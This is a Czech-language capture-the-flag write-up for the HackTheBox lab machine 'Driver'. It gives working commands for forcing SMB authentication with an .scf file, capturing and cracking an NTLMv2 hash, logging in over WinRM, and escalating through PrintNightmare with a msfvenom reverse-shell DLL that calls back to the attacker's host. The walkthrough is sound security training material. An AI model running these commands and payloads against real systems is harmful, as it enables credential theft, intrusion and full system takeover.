tom@home.htb:~$

Blog o HTB

24 November 2020

Driver

Úvod a kontext

Driver kombinuje dva velmi praktické Windows problémy: nedbalé zacházení se soubory v interním webu a následné zneužití PrintNightmare. První foothold nevzniká z přímého exploitu na IIS, ale z vynucení SMB autentizace přes .scf soubor nahraný do firmware portálu.

Jakmile hash účtu tony padne na liltony, otevře se WinRM a zbytek řetězce je už čistě lokální Windows práce. Pro root pak stačí připravit škodlivou DLL a doručit ji přes CVE-2021-1675 do spooleru.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
135/tcp  open  msrpc        Microsoft Windows RPC
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h03m34s, deviation: 0s, median: 7h03m33s
| smb-security-mode:
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2021-10-29T05:17:47
|_  start_date: 2021-10-28T20:05:05

Firmware portál a vynucení SMB autentizace

Firmware update centrum na :80 používá Basic Auth a výchozí přihlašovací údaje admin/admin. Po přihlášení stačí nahrát .scf soubor s UNC cestou na útočníkův SMB share. Windows si při zobrazení ikony sáhne pro random.ico a Responder zachytí NTLMv2 hash účtu tony.

admin/admin

[Shell]
Command=2
IconFile=\\10.10.14.11\share\random.ico
[Taskbar]
Command=ToggleDesktop
responder -wrf -I tun0
[SMB] NTLMv2-SSP Username : DRIVER\tony
[SMB] NTLMv2-SSP Hash     : tony::DRIVER:d83785f50d91b47a:70DB9BE5D10DA36D95BA553E2861E626:...

Analýza zjištění

Prolomení hashe a ověření účtu tony

U zachyceného NTLMv2 hashe má offline cracking okamžitou hodnotu, protože WinRM je zvenku dostupný. Tady hash padne na liltony, takže další krok je jasný.

hashcat -a 0 -m 5600 hash /usr/share/wordlists/rockyou.txt
=> liltony

Získání přístupu

WinRM jako tony

Jakmile heslo funguje, WinRM je nejčistší způsob další práce. SMB enumerace už splnila účel a není důvod zůstávat u nepohodlného bočního kanálu.

evil-winrm -u tony -p liltony -i 10.10.11.106

Získání user flagu

user.txt tady potvrzuje, že zachycený a cracknutý hash skutečně vedl k interaktivnímu účtu tony na hostu.

cat user.txt
__CENSORED__

Eskalace oprávnění

PrintNightmare přes škodlivou DLL

Driver běží na systému zranitelném vůči CVE-2021-1675. Po získání WinRM stačí připravit škodlivou DLL, vystavit ji přes SMB share a přimět spooler, aby ji načetl. Tady je důležité, že root/admin část nevyžaduje další heslo, ale zneužití služby s vyššími právy.

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4000 -f dll > rev64.dll
impacket-smbserver data .
python3 CVE-2021-1675.py tony:liltony@10.10.11.106 '\\10.10.14.11\data\rev64.dll'

Získání root flagu

Jakmile spooler DLL načte, otevře se shell s vyššími právy a root.txt je už jen potvrzením úspěšné eskalace.

more root.txt
__CENSORED__

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: windows - smb - winrm - exploit - enumeration - privesc